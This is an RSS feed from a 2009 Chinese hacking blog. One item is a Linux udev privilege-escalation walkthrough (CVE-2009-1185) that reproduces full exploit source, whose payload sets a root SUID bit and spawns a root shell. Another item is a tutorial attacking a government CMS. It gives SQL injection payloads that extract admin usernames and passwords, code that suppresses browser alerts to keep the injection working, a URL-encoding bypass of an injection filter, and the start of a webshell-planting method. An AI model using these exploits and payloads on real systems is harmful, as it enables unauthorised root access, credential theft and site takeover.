<?xml version="1.0" encoding="GBK"?>
<?xml-stylesheet href="/style/rss.css" type="text/css"?>
<rss version="2.0" xmlns:eb="http://blog.tom.com/">
<channel>
  <title>不輕易戀愛</title>
  <link>http://blog.tom.com/xieliang_521</link>
  <description><![CDATA[http://www.hack-kabus.com新站 欢迎各位光临 QQ群:①42328502 ②22073337 ]]></description>
  <language>zh</language>
  <generator>newblog.tom.com RSS</generator>
  <pubDate></pubDate>    <item>
		<title><![CDATA[ 东北大汉持刀大骂张雅(搞笑) ]]></title>
		<link>http://blog.tom.com/xieliang_521/article/7150.html</link>
		<description><![CDATA[ <p><object codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" height="300" width="400" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"><param name="_cx" value="10583">
<param name="_cy" value="7938">
<param name="FlashVars" value="">
<param name="Movie" value="http://vhead.blog.sina.com.cn/player/outer_player.swf?auto=0&amp;vid=478476&amp;uid=1195744430">
<param name="Src" value="http://vhead.blog.sina.com.cn/player/outer_player.swf?auto=0&amp;vid=478476&amp;uid=1195744430">
<param name="WMode" value="Opaque">
<param name="Play" value="-1">
<param name="Loop" value="-1">
<param name="Quality" value="AutoHigh">
<param name="SAlign" value="LT">
<param name="Menu" value="0">
<param name="Base" value="">
<param name="AllowScriptAccess" value="">
<param name="Scale" value="NoScale">
<param name="DeviceFont" value="0">
<param name="EmbedMovie" value="0">
<param name="BGColor" value="">
<param name="SWRemote" value="">
<param name="MovieData" value="">
<param name="SeamlessTabbing" value="1">
<param name="Profile" value="0">
<param name="ProfileAddress" value="">
<param name="ProfilePort" value="0">
<param name="AllowNetworking" value="all">
<param name="AllowFullScreen" value="false">
<embed src="http://vhead.blog.sina.com.cn/player/outer_player.swf?auto=0&amp;vid=478476&amp;uid=1195744430" width="400" height="400" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"></object></p> ]]></description>
		<eb:creationDate>2009-05-14 23:28:43</eb:creationDate>
		<eb:modificationDate></eb:modificationDate>
    </item>
    <item>
		<title><![CDATA[ Linux下udev本地漏洞提升权限（图） ]]></title>
		<link>http://blog.tom.com/xieliang_521/article/7147.html</link>
		<description><![CDATA[ <div id="NewaspContentLabel" style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px"><font id="font_word" style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif">漏洞描述：由于udev 没有确认 NETLINK 消息是否来源于内核空间，所以可以通过从用户空间发送一个NETLINK消息使得本地用户来获得root权限。<br>
具体信息请参看：http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185<br>
下面我们进入实战演示：<br>
<img style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 480px; TEXT-ALIGN: center" alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/200951402425403.jpg" border="0"><br>
这个漏洞是2009年4月20日在milw0rm上公布的，EXP的作者是Kcope，我们直接用他的EXP进行演示。<br>
&nbsp; &nbsp; 首先，我们需要先编译一下EXP，按照下图的格式，需要编译三个文件。<br>
<img style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 480px; TEXT-ALIGN: center" alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/200951402425738.jpg" border="0">其次，要利用这个漏洞，我们必须知道NETLINK Socket的PID，有两种办法，第一种，用“cat /proc/net/netlink“命令来查看，第二种可以用“ps -aux | grep "udevd"来获得udevd的PID，而通常，我们所需要的NETLINK Socket的PID是udevd的PID减去1。如下图所示，这里我们的NETLINK Socket 的PID是2210，而udevd的PID是2211。<br>
<img style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 449px; TEXT-ALIGN: center" alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/200951402426155.jpg" border="0">最好，让我们利用我们编译好的EXP来提升权限吧，把你获得的NETLINK Socket的PID作为程序的第一个参数，如图，让我们看看效果：<br>
&nbsp;<br>
可以看到，我们已经成功获得了root权限。over!<br>
附录：EXP的源码如下<br>
udev.c#include<br>
#include<br>
#include<br>
#include<br>
#include<br>
#include<br>
#include<br>
#include<br>
#include<br>
#include<br>
#include<br>
#include<br>
#include<br>
&nbsp;<br>
#ifndef NETLINK_KOBJECT_UEVENT<br>
#define NETLINK_KOBJECT_UEVENT 15<br>
#endif<br>
&nbsp;<br>
#define SHORT_STRING 64<br>
#define MEDIUM_STRING 128<br>
#define BIG_STRING 256<br>
#define LONG_STRING 1024<br>
#define EXTRALONG_STRING 4096<br>
#define TRUE 1<br>
#define FALSE 0<br>
&nbsp;<br>
int socket_fd;<br>
struct sockaddr_nl address;<br>
struct msghdr msg;<br>
struct iovec iovector;<br>
int sz = 64*1024;<br>
&nbsp;<br>
main(int argc, char **argv) {<br>
&nbsp; &nbsp; &nbsp; &nbsp; char sysfspath[SHORT_STRING];<br>
&nbsp; &nbsp; &nbsp; &nbsp; char subsystem[SHORT_STRING];<br>
&nbsp; &nbsp; &nbsp; &nbsp; char event[SHORT_STRING];<br>
&nbsp; &nbsp; &nbsp; &nbsp; char major[SHORT_STRING];<br>
&nbsp; &nbsp; &nbsp; &nbsp; char minor[SHORT_STRING];<br>
&nbsp;<br>
&nbsp; &nbsp; &nbsp; &nbsp; sprintf(event, "add");<br>
&nbsp; &nbsp; &nbsp; &nbsp; sprintf(subsystem, "block");<br>
&nbsp; &nbsp; &nbsp; &nbsp; sprintf(sysfspath, "/dev/foo");<br>
&nbsp; &nbsp; &nbsp; &nbsp; sprintf(major, "8");<br>
&nbsp; &nbsp; &nbsp; &nbsp; sprintf(minor, "1");<br>
&nbsp;<br>
&nbsp; &nbsp; &nbsp; &nbsp; memset(&amp;address, 0, sizeof(address));<br>
&nbsp; &nbsp; &nbsp; &nbsp; address.nl_family = AF_NETLINK;<br>
&nbsp; &nbsp; &nbsp; &nbsp; address.nl_pid = atoi(argv[1]);<br>
&nbsp; &nbsp; &nbsp; &nbsp; address.nl_groups = 0;<br>
&nbsp;<br>
&nbsp; &nbsp; &nbsp; &nbsp; msg.msg_name = (void*)&amp;address;<br>
&nbsp; &nbsp; &nbsp; &nbsp; msg.msg_namelen = sizeof(address);<br>
&nbsp; &nbsp; &nbsp; &nbsp; msg.msg_iov = &amp;iovector;<br>
&nbsp; &nbsp; &nbsp; &nbsp; msg.msg_iovlen = 1;<br>
&nbsp;<br>
&nbsp; &nbsp; &nbsp; &nbsp; socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);<br>
&nbsp; &nbsp; &nbsp; &nbsp; bind(socket_fd, (struct sockaddr *) &amp;address, sizeof(address));<br>
&nbsp;<br>
&nbsp; &nbsp; &nbsp; &nbsp; char message[LONG_STRING];<br>
&nbsp; &nbsp; &nbsp; &nbsp; char *mp;<br>
&nbsp;<br>
&nbsp; &nbsp; &nbsp; &nbsp; mp = message;<br>
&nbsp; &nbsp; &nbsp; &nbsp; mp += sprintf(mp, "%s@%s", event, sysfspath) +1;<br>
&nbsp; &nbsp; &nbsp; &nbsp; mp += sprintf(mp, "ACTION=%s", event) +1;<br>
&nbsp; &nbsp; &nbsp; &nbsp; mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;<br>
&nbsp; &nbsp; &nbsp; &nbsp; mp += sprintf(mp, "MAJOR=%s", major) +1;<br>
&nbsp; &nbsp; &nbsp; &nbsp; mp += sprintf(mp, "MINOR=%s", minor) +1;<br>
&nbsp; &nbsp; &nbsp; &nbsp; mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;<br>
&nbsp; &nbsp; &nbsp; &nbsp; mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;<br>
&nbsp;<br>
&nbsp; &nbsp; &nbsp; &nbsp; iovector.iov_base = (void*)message;<br>
&nbsp; &nbsp; &nbsp; &nbsp; iovector.iov_len = (int)(mp-message);<br>
&nbsp;<br>
&nbsp; &nbsp; &nbsp; &nbsp; char *buf;<br>
&nbsp; &nbsp; &nbsp; &nbsp; int buflen;<br>
&nbsp; &nbsp; &nbsp; &nbsp; buf = (char *) &amp;msg;<br>
&nbsp; &nbsp; &nbsp; &nbsp; buflen = (int)(mp-message);<br>
&nbsp;<br>
&nbsp; &nbsp; &nbsp; &nbsp; sendmsg(socket_fd, &amp;msg, 0);<br>
&nbsp;<br>
&nbsp; &nbsp; &nbsp; &nbsp; close(socket_fd);<br>
&nbsp;<br>
&nbsp; &nbsp; &nbsp; &nbsp; sleep(10);<br>
&nbsp; &nbsp; &nbsp; &nbsp; execl("/tmp/suid", "suid", (void*)0);<br>
}<br>
program.c#include<br>
#include<br>
#include<br>
#include<br>
&nbsp;<br>
void _init()<br>
{<br>
setgid(0);<br>
setuid(0);<br>
unsetenv("LD_PRELOAD");<br>
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);<br>
}<br>
suid.cint main(void) {<br>
&nbsp; &nbsp; &nbsp; &nbsp;setgid(0); setuid(0);<br>
&nbsp; &nbsp; &nbsp; &nbsp;execl("/bin/sh","sh",0); }</font></div> ]]></description>
		<eb:creationDate>2009-05-14 09:40:08</eb:creationDate>
		<eb:modificationDate></eb:modificationDate>
    </item>
    <item>
		<title><![CDATA[ 四通政府CMS管理系统漏洞 ]]></title>
		<link>http://blog.tom.com/xieliang_521/article/7146.html</link>
		<description><![CDATA[ <div id="NewaspContentLabel" style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px"><font id="font_word" style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif"></font>
<div><font id="font_word" style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif">前段时间QQ好友小楼听雨说他们学校网站是用四通政府网架设的，让我看看其安全性。正好手上的工作做完了，索性到百度上找了套4.0版本的程序不过还好算完整的，后来找到了四通的官方网站发现出了6.0版本的，前台界面大体风格和4.0类似，由于当时没有6.0源码只好从4.0着手了。废话不多说了，进入正题。</font></div>
<div>&nbsp;</div>
<div><b><font color="#FF0000">一．挖掘漏洞之旅</font></b></div>
<div>&nbsp;</div>
<div>打开网站整体在美工上面较好，给人看了一种威严的感觉。如图1</div>
<div><img alt="" hspace="0" src="http://www.hack58.net/Article/UploadPic/2009-5/200951403443783.jpg" border="0"><br>
<br>
首先看到新闻页面 “zf11_news.asp” 盲注个单引号直接跳转到新闻列表页，看来程序在这里对参数做了判断。打开代码如下:</div>
<p align="left" forimg="1"></p>
<table cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
<tbody>
<tr>
<td bgcolor="#F3F3F3"><font size="+0">以下是引用片段：</font><br>
&lt;%<br>
&nbsp;&nbsp;&nbsp;&nbsp;ID=CheckStr(Request.QueryString("ID"))&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;isInt(ID)=False&nbsp;OR&nbsp;Not&nbsp;IsNumeric(ID)&nbsp;Then<br>
&nbsp;&nbsp;&nbsp;&nbsp;Response.Redirect&nbsp;"news.asp"&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;Response.End()<br>
&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br>
&nbsp;&nbsp;&nbsp;&nbsp;set&nbsp;rs=server.createobject("adodb.recordset")<br>
&nbsp;&nbsp;&nbsp;&nbsp;rs.Open&nbsp;"Select&nbsp;*&nbsp;From&nbsp;zf11_news&nbsp;where&nbsp;id="&amp;id,&nbsp;conn,3,3<br>
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;rs.bof&nbsp;and&nbsp;rs.eof&nbsp;then<br>
&nbsp;&nbsp;&nbsp;&nbsp;response.Redirect("News.asp")<br>
&nbsp;&nbsp;&nbsp;&nbsp;end&nbsp;if<br>
%&gt;</td>
</tr>
</tbody>
</table>
代码中的ID通过Request.Querystring(“ID”)获取值，通过 CheckStr函数过滤，正准备看看这个函数是怎么写的，还没等看发现接下来的 isInt 和 IsNumeric函数过滤了ID变量。首先不管isInt函数是怎么判断的，用IsNumeric函数判断了基本上没戏了，所以这里的变量ID也就不用看了没有注入。接下来看了很多文件，大部分变量都是数字型的，都用了上述代码进行判断，直到看见”opensoft.asp”文件才发现有点希望。打开文件发现如下代码:
<div>
<p align="left" forimg="1"></p>
<table cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
<tbody>
<tr>
<td bgcolor="#F3F3F3"><font size="+0">以下是引用片段：</font><br>
&lt;%<br>
………<br>
if(request.querystring("id")&nbsp;&lt;&gt;&nbsp;"")&nbsp;then<br>
colname&nbsp;=&nbsp;request.querystring("id")<br>
end&nbsp;if<br>
url="soft_url"+request("url")<br>
sql="select&nbsp;*&nbsp;from&nbsp;[zf11_d_news]&nbsp;where&nbsp;id="&amp;colname&amp;""<br>
set&nbsp;rs=server.createobject("adodb.recordset")<br>
rs.open&nbsp;sql,conn,1,1<br>
…………..<br>
%&gt;</td>
</tr>
</tbody>
</table>
上述代码中的 colname 变量直接获取客户端id，没有经过任何函数过滤，并且接下来的Request(“url”)也没有经过函数过滤，但此函数没有带入数据库查询，不过colname带入了SQL语句按道理说是个明显的数字型注入点，可是这个地方的注入点以我的水平利用不了。为什么呢？有的人说用啊D等注入工具跑了就得了，如果真的是这么简单的话就好了。在此段代码上半部分做了一个防盗链的处理，代码如下:
<div>
<p align="left" forimg="1"></p>
<table cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
<tbody>
<tr>
<td bgcolor="#F3F3F3"><font size="+0">以下是引用片段：</font><br>
&lt;%<br>
From_url&nbsp;=&nbsp;Cstr(Request.ServerVariables("HTTP_REFERER"))<br>
Serv_url&nbsp;=&nbsp;Cstr(Request.ServerVariables("SERVER_NAME"))<br>
if&nbsp;mid(From_url,8,len(Serv_url))&nbsp;&lt;&gt;&nbsp;Serv_url&nbsp;then<br>
response.write&nbsp;"非法链接！"&nbsp;’防止盗链<br>
response.end<br>
end&nbsp;if<br>
%&gt;</td>
</tr>
</tbody>
</table>
代码中 Cstr(Request.ServerVariables("HTTP_REFERER"))表示判断是从什么页面转过来的, Cstr(Request.ServerVariables("SERVER_NAME")) 表示获取当前的服务器名称, 代码输出后应该是如图 2
<div>
<div><img alt="" hspace="0" src="http://www.hack58.net/Article/UploadPic/2009-5/200951403443995.jpg" border="0"><br>
<br></div>
<div>在Form_url变量的第8位起截取 Serv_url长度的字符，如果不匹配的话就表示非法链接。但是我们注入的时候在浏览器中输入注入字符，再提交的话，程序本身获取不到Form_url变量，所以提示非法连接，但是Request.ServerVariables("HTTP_REFERER")这个变量从理论上是可控变量，可以拿来伪造，由于本人技术有限在百度上查找了很长时间也没找到成功的方法，在此希望高手们不吝指教。
<div>这里的希望再次成为泡影只好继续看文件代码。看下根目录下的数据库连接文件并没有暴库漏洞,不过在Count目录下的数据库连接文件conn.asp中发现了没有容错语句导致可以暴库。如图3</div>
<div><img alt="" hspace="0" src="http://www.hack58.net/Article/UploadPic/2009-5/200951403443804.jpg" border="0"><br>
<br>
这个漏洞的利用价值还是蛮大的，本地测试的时候可以轻松下载数据库。但是在网络上测试的时候没有一个成功过，这个我就不理解了。带着期望继续看文件，直到Search.asp文件才发现了重大的突破。代码如下:</div>
<p align="left" forimg="1"></p>
<table cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
<tbody>
<tr>
<td bgcolor="#F3F3F3"><font size="+0">以下是引用片段：</font><br>
&lt;%<br>
Title=Trim(Request.Form("txtitle"))<br>
if title&lt;&gt;""&nbsp;then<br>
&nbsp;&nbsp;&nbsp;&nbsp;sql="select&nbsp;*&nbsp;from&nbsp;Info&nbsp;where&nbsp;title&nbsp;like&nbsp;’%"&amp;trim(title)&amp;"%’&nbsp;or&nbsp;content&nbsp;like&nbsp;’%"&amp;trim(title)&amp;"%’&nbsp;order&nbsp;by&nbsp;ID&nbsp;desc"<br>
end&nbsp;if<br>
%&gt;</td>
</tr>
</tbody>
</table>
<div>&nbsp;</div>
<div>很简单的一句SQL语句轻松的成全了搜索型注入。Title变量获取变量只是简单的过滤掉空格，带入Sql语句，在这里我们要想办法闭合'% , 构造这样一句话 &nbsp;&nbsp;图片新闻测试%' and 1=1 and ' %' =' 就可成功注入。这里的搜索框有长度限制， &lt;input name=txtitle type=Text id=txtitle size=20 maxlength=50 /&gt;代码中限定了长度为50个字符。本地做个页面提交就行了。不过我在这里用Union查询不成功,后来用ACIIS码猜解法成功猜解，但是最大的弊端就是猜解很费时间和工夫。</div>
<div>&nbsp;</div>
<div>猜解帐户:</div>
<div>图片新闻测试%' and (select top 1 asc(mid(username,1,1)) from admin) &gt;20 and '%'='</div>
<div>猜解密码:</div>
<div>图片新闻测试%' and (select top 1 asc(mid(password,2,1)) from admin) &gt;20 and '%'='</div>
<div>&nbsp;</div>
<div>猜解成功后就可用牛族的字符转换器转换一下能看到密码和帐户如图4，5</div>
<div><img alt="" hspace="0" src="http://www.hack58.net/Article/UploadPic/2009-5/200951403443406.jpg" width="630" border="0"><br>
<br>
<img alt="" hspace="0" src="http://www.hack58.net/Article/UploadPic/2009-5/200951403443252.jpg" border="0"><br>
<br></div>
<div>
<div>
<div>
<div>
<div>要真的这样的注入的话岂不累死人了，猜解半天不说还不一定能破解密码。带着郁闷的心情继续看代码，终于让我在downnews.asp文件中发现了重大的安全漏洞。此漏洞不太寻常，利用的手法也很独特。漏洞文件代码如下:</div>
<p align="left"></p>
<table cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
<tbody>
<tr>
<td bgcolor="#F3F3F3"><font size="+0">以下是引用片段：</font><br>
&lt;%<br>
dim founderr<br>
founderr=false<br>
if&nbsp;request.querystring("id")=""&nbsp;then<br>
founderr=true<br>
Response.Write&nbsp;"&lt;script&nbsp;language=javascript&gt;alert(’请指定操作的对象！’);<i>javascript</i>:history.back();&lt;/script&gt;"<br>
else<br>
if&nbsp;not&nbsp;isInteger(request.querystring("id"))&nbsp;then<br>
&nbsp;&nbsp;&nbsp;&nbsp;founderr=true<br>
&nbsp;&nbsp;&nbsp;&nbsp;Response.Write&nbsp;"&lt;script&nbsp;language=javascript&gt;alert(’参数非法！’);<i>javascript</i>:history.back();&lt;/script&gt;"<br>
end&nbsp;if<br>
end&nbsp;if<br>
sql="select&nbsp;*&nbsp;from&nbsp;zf11_d_news&nbsp;where&nbsp;id="&amp;request.querystring("id")<br>
set&nbsp;rs=server.createobject("adodb.recordset")<br>
rs.open&nbsp;sql,conn,1,1<br>
%&gt;</td>
</tr>
</tbody>
</table>
这样一段代码乍看上去没有问题，其实暗藏杀机。第一个if语句就不用看了，没多大关系，主要看
<div>
<p align="left"></p>
<table cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
<tbody>
<tr>
<td bgcolor="#F3F3F3"><font size="+0">以下是引用片段：</font><br>
if&nbsp;not&nbsp;isInteger(request.querystring("id"))&nbsp;then<br>
&nbsp;&nbsp;&nbsp;&nbsp;founderr=true<br>
&nbsp;&nbsp;&nbsp;&nbsp;Response.Write&nbsp;"&lt;script&nbsp;language=javascript&gt;alert(’参数非法！’);<i>javascript</i>:history.back();&lt;/script&gt;"<br>
end&nbsp;if</td>
</tr>
</tbody>
</table>
代码中 获取的值通过 isInteger函数过滤，我们来看下这个函数怎么写的.
<div>
<p align="left"></p>
<table cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
<tbody>
<tr>
<td bgcolor="#F3F3F3"><font size="+0">以下是引用片段：</font><br>
function&nbsp;isInteger(para)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;on&nbsp;error&nbsp;resume&nbsp;next<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dim&nbsp;str<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dim&nbsp;l,i<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;isNUll(para)&nbsp;then&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;isInteger=false<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;function<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end&nbsp;if<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;str=cstr(para)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;trim(str)=""&nbsp;then<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;isInteger=false<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;function<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end&nbsp;if<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;l=len(str)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;i=1&nbsp;to&nbsp;l<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;mid(str,i,1)&gt;"9"&nbsp;or&nbsp;mid(str,i,1)&lt;"0"&nbsp;then<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;isInteger=false&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;function<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end&nbsp;if<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;next<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;isInteger=true<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;err.number&lt;&gt;0&nbsp;then&nbsp;err.clear<br>
end&nbsp;function<br>
代码中判断数字型是没有问题的。的确可以起到防注入的效果，当我们输入字符串的时候满足这个条件<br>
founderr=true<br>
Response.Write&nbsp;"&lt;script&nbsp;language=javascript&gt;alert(’参数非法！’);<i>javascript</i>:history.back();&lt;/script&gt;"</td>
</tr>
</tbody>
</table>
错误信息成立，弹出JS对话框返回当前页面。但是程序在这里没有用Response.End语句结束，程序默认还会继续向下执行，我们注入的字符会带入数据库操作。只是在客户端浏览器不能显示罢了。我们来测试一下 如图6
<div>
<div><img alt="" hspace="0" src="http://www.hack58.net/Article/UploadPic/2009-5/200951403444655.jpg" border="0"><br>
<br>
我加了单引号提示参数非法。当我们在程序中将该句注释掉看看字符是不是带入数据库了。如图7</div>
<div><img alt="" hspace="0" src="http://www.hack58.net/Article/UploadPic/2009-5/200951403444832.jpg" border="0"><br>
<br>
程序已经出错了，显示的页面也不正常了，我们输出的SQL明显将单引号带入数据库中。现在的问题就是如何将客户端的JS对话框屏蔽掉,经过一段时间思考还是将目标定在客户端去屏蔽 本地由于没有安装VB，只好用.NET做个漏洞利用工具出来。程序主要利用到”mshtml”这个com组件来实现对客户端JS的屏蔽。以下是C# code:</div>
<div>首先要引用 mshtml ，在webBrowser1_Navigated 事件中写入以下 代码:</div>
<p align="left" forimg="1"></p>
<table cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
<tbody>
<tr>
<td bgcolor="#F3F3F3"><font size="+0">以下是引用片段：</font><br>
&nbsp;IHTMLWindow2&nbsp;win&nbsp;=&nbsp;(IHTMLWindow2)webBrowser1.Document.Window.DomWindow;&nbsp;<br>
&nbsp;string&nbsp;s&nbsp;=&nbsp;"window.alert&nbsp;=&nbsp;null;\r\nwindow.confirm&nbsp;=&nbsp;null;\r\nwindow.open&nbsp;=&nbsp;null;\r\nwindow.showModalDialog&nbsp;=&nbsp;null;";<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;win.execScript(s,&nbsp;"javascript");</td>
</tr>
</tbody>
</table>
我们用工具来注入试试。如图8
<div>
<div><img alt="" hspace="0" src="http://www.hack58.net/Article/UploadPic/2009-5/200951403444205.jpg" border="0"><br>
<br>
以上漏洞是4.0版本的漏洞，可以轻松获取管理员帐户和密码。在实战中我发现也有不少的网站用了6.0版本，对于此版本我拿下了一套回来分析一下也是存在安全漏洞的。此版本增加了通用防注入，起到了整站防注入的效果。可惜防注入代码如下:</div>
<p align="left" forimg="1"></p>
<table cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
<tbody>
<tr>
<td bgcolor="#F3F3F3"><font size="+0">以下是引用片段：</font><br>
&lt;%<br>
Dim&nbsp;Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Cl,Fy_Ts,Fy_Zx<br>
’---定义部份&nbsp;头------<br>
Fy_Cl&nbsp;=&nbsp;3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;’处理方式：1=提示信息,2=转向页面,3=先提示再转向<br>
Fy_Zx&nbsp;=&nbsp;"index.Asp"&nbsp;’出错时转向的页面<br>
’---定义部份&nbsp;尾------<br>
On&nbsp;Error&nbsp;Resume&nbsp;Next<br>
Fy_Url=Request.ServerVariables("QUERY_STRING")<br>
Fy_a=split(Fy_Url,"&amp;")<br>
redim&nbsp;Fy_Cs(ubound(Fy_a))<br>
On&nbsp;Error&nbsp;Resume&nbsp;Next<br>
for&nbsp;Fy_x=0&nbsp;to&nbsp;ubound(Fy_a)<br>
Fy_Cs(Fy_x)&nbsp;=&nbsp;left(Fy_a(Fy_x),instr(Fy_a(Fy_x),"=")-1)<br>
Next<br>
For&nbsp;Fy_x=0&nbsp;to&nbsp;ubound(Fy_Cs)<br>
If&nbsp;Fy_Cs(Fy_x)&lt;&gt;""&nbsp;Then<br>
If&nbsp;Instr(LCase(Request(Fy_Cs(Fy_x))),"’")&lt;&gt;0&nbsp;or&nbsp;Instr(LCase(Request(Fy_Cs(Fy_x))),"and")&lt;&gt;0&nbsp;or&nbsp;Instr(LCase(Request(Fy_Cs(Fy_x))),"select")&lt;&gt;0&nbsp;or&nbsp;Instr(LCase(Request(Fy_Cs(Fy_x))),"update")&lt;&gt;0&nbsp;or&nbsp;Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")&lt;&gt;0&nbsp;or&nbsp;Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")&lt;&gt;0&nbsp;or&nbsp;Instr(LCase(Request(Fy_Cs(Fy_x))),";")&lt;&gt;0&nbsp;or&nbsp;Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")&lt;&gt;0&nbsp;or&nbsp;Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")&lt;&gt;0&nbsp;Or&nbsp;Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")&lt;&gt;0&nbsp;Then<br>
Select&nbsp;Case&nbsp;Fy_Cl<br>
Case&nbsp;"1"<br>
Response.Write&nbsp;"&lt;Script&nbsp;Language=JavaScript&gt;alert(’出现错误！参数&nbsp;"&amp;Fy_Cs(Fy_x)&amp;"&nbsp;的值中包含非法字符串！\n\n&nbsp;’);window.close();&lt;/Script&gt;"<br>
Case&nbsp;"2"<br>
Response.Write&nbsp;"&lt;Script&nbsp;Language=JavaScript&gt;location.href=’"&amp;Fy_Zx&amp;"’&lt;/Script&gt;"<br>
Case&nbsp;"3"<br>
Response.Write&nbsp;"&lt;Script&nbsp;Language=JavaScript&gt;alert(’出现错误！参数&nbsp;"&amp;Fy_Cs(Fy_x)&amp;"的值中包含非法字符串！\n\n&nbsp;’);location.href=’"&amp;Fy_Zx&amp;"’;&lt;/Script&gt;"<br>
End&nbsp;Select<br>
Response.End<br>
End&nbsp;If<br>
End&nbsp;If<br>
Next<br>
%&gt;</td>
</tr>
</tbody>
</table>
<div>看到了没有和我2期分析的《尘月网站智能管理系统V2009》的防注入代码一样的，通过URL编码技术就可以绕过此防注入代码。将id 修改成 %69d 就可以继续注入。如图9</div>
<div><img alt="" hspace="0" src="http://www.hack58.net/Article/UploadPic/2009-5/200951403444597.jpg" border="0"><br>
<br></div>
<div>表面看上去还很安全的CMS系统瞬间崩溃。有了帐户和密码进可进后台拿webshell了，我这里再介绍下如何在后台获取webshell。</div>
<div>&nbsp;</div>
<div><b><font color="#FF0000">二.获取webshell</font></b></div>
<div>&nbsp;</div>
<div>在后台有个网站基本配置栏目，有很多的站点都可以在这里写入一句话<a href="http://www.05112.com/index.html">木马</a>得到webshell。打开文件代码是这么写的:</div>
<p align="left" forimg="1"></p>
<table cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
<tbody>
<tr>
<td bgcolor="#F3F3F3"><font size="+0">以下是引用片段：</font><br>
&lt;%<br>
zf11_description&nbsp;=&nbsp;trim(Request.form("zf11_description"))<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;zf11_http&nbsp;=&nbsp;trim(Request.form("zf11_http"))<br>
